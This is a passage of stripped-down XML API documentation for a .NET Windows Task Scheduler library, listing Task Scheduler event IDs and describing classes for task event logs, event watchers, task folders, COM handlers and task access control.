ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + An enumerable collection of folders that matches . + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Enumerates the tasks in the specified folder and its child folders. + + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + + Provides information and control for a collection of folders that contain tasks. + + + + + Gets the number of items in the collection. + + + + + Gets a value indicating whether the is read-only. + + + + + Gets the specified folder from the collection. + + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Gets the specified folder from the collection. + + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Adds an item to the . + + The object to add to the . + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Releases all resources used by this class. + + + + + Determines whether the specified folder exists. + + The path of the folder. + true if folder exists; otherwise, false. + + + + Gets a list of items in a collection. + + Enumerated list of items in the collection. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security 